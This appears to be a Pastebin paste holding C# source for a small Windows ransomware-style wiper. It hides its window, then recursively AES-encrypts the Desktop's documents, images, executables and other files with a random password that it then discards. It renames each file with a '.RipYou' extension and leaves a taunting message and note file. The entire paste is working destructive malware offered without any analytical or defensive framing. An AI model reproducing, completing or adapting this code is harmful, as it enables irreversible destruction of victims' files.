Advertisement
Guest User

Untitled

a guest
Apr 18th, 2016
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.49 KB | None | 0 0
  1.  
  2.  
  3. using System;
  4. using System.Diagnostics;
  5. using System.Collections.Generic;
  6. using System.ComponentModel;
  7. using System.Data;
  8. using System.Drawing;
  9. using System.Linq;
  10. using System.Text;
  11. using System.Threading.Tasks;
  12. using System.Windows.Forms;
  13. using System.Security;
  14. using System.Security.Cryptography;
  15. using System.IO;
  16. using System.Net;
  17. using Microsoft.Win32;
  18. using System.Runtime.InteropServices;
  19. using System.Text.RegularExpressions;
  20.  
  21.  
  22. namespace kudag
  23. {
  24. public partial class Form1 : Form
  25. {
  26.  
  27.  
  28. string userName = Environment.UserName;
  29. string computerName = System.Environment.MachineName.ToString();
  30. string userDir = "C:\\Users\\";
  31.  
  32.  
  33.  
  34. public Form1()
  35. {
  36. InitializeComponent();
  37. }
  38.  
  39. private void Form1_Load(object sender, EventArgs e)
  40. {
  41. Opacity = 0;
  42. this.ShowInTaskbar = false;
  43.  
  44. startAction();
  45.  
  46. }
  47.  
  48. private void Form_Shown(object sender, EventArgs e)
  49. {
  50. Visible = false;
  51. Opacity = 100;
  52. }
  53.  
  54.  
  55. public byte[] AES_Encrypt(byte[] kekd, byte[] hmm)
  56. {
  57. byte[] notkek = null;
  58. byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
  59. using (MemoryStream ms = new MemoryStream())
  60. {
  61. using (RijndaelManaged AES = new RijndaelManaged())
  62. {
  63. AES.KeySize = 256;
  64. AES.BlockSize = 128;
  65.  
  66. var key = new Rfc2898DeriveBytes(hmm, saltBytes, 1000);
  67. AES.Key = key.GetBytes(AES.KeySize / 8);
  68. AES.IV = key.GetBytes(AES.BlockSize / 8);
  69.  
  70. AES.Mode = CipherMode.CBC;
  71.  
  72. using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
  73. {
  74. cs.Write(kekd, 0, kekd.Length);
  75. cs.Close();
  76. }
  77. notkek = ms.ToArray();
  78. }
  79. }
  80.  
  81. return notkek;
  82. }
  83.  
  84.  
  85. public string milf(int length)
  86. {
  87. const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
  88. StringBuilder res = new StringBuilder();
  89. Random rnd = new Random();
  90. while (0 < length--){
  91. res.Append(valid[rnd.Next(valid.Length)]);
  92. }
  93. return res.ToString();
  94. }
  95.  
  96.  
  97.  
  98.  
  99.  
  100. public void lels(string file, string password)
  101. {
  102.  
  103. byte[] asd = File.ReadAllBytes(file);
  104. byte[] pwasd = Encoding.UTF8.GetBytes(password);
  105.  
  106.  
  107. pwasd = SHA256.Create().ComputeHash(pwasd);
  108.  
  109. byte[] asd2 = AES_Encrypt(asd, pwasd);
  110.  
  111. File.WriteAllBytes(file, asd2);
  112. System.IO.File.Move(file, file+".RipYou");
  113.  
  114.  
  115.  
  116.  
  117. }
  118.  
  119.  
  120. public void hello(string location, string password)
  121. {
  122.  
  123.  
  124. var validExtensions = new[]
  125. {
  126. ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml",".exe", ".psd" ,".wmv", ".avi", ".mp4", ".mp3", ".html", ".bat", ".ink", ".lnk", ".dll", ".bak", ".dat",".ocx"
  127. };
  128.  
  129. string[] files = Directory.GetFiles(location);
  130. string[] childDirectories = Directory.GetDirectories(location);
  131. for (int i = 0; i < files.Length; i++){
  132. string extension = Path.GetExtension(files[i]);
  133. if (validExtensions.Contains(extension))
  134. {
  135. lels(files[i],password);
  136. }
  137. }
  138. for (int i = 0; i < childDirectories.Length; i++){
  139. hello(childDirectories[i],password);
  140. }
  141.  
  142.  
  143. }
  144.  
  145. public void startAction()
  146. {
  147. string password = milf(15);
  148. string path = "\\Desktop";
  149. string startPath = userDir + userName + path;
  150.  
  151. DirSearch(startPath);
  152. hello(startPath,password);
  153. messageCreator();
  154. password = null;
  155. System.Windows.Forms.Application.Exit();
  156. }
  157. public void DirSearch(string dir)
  158. {
  159.  
  160. try
  161. {
  162. string path2;
  163. foreach (string f in Directory.GetFiles(dir))
  164.  
  165. foreach (string d in Directory.GetDirectories(dir))
  166. {
  167. path2 = d.ToString();
  168. string passwords = milf(15);
  169.  
  170. hello(path2, passwords);
  171. DirSearch(d);
  172. }
  173.  
  174. }
  175. catch (System.Exception ex)
  176. {
  177. Console.WriteLine(ex.Message);
  178. }
  179. }
  180. public void messageCreator()
  181. {
  182. string path = "\\Desktop\\HelloScrub.txt";
  183. string fullpath = userDir + userName + path;
  184. MessageBox.Show("ayy lmao all ur desktop files are shrekt");
  185. string[] lines = { " Hope you enjoy -Ama" };
  186. System.IO.File.WriteAllLines(fullpath, lines);
  187. }
  188. }
  189. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement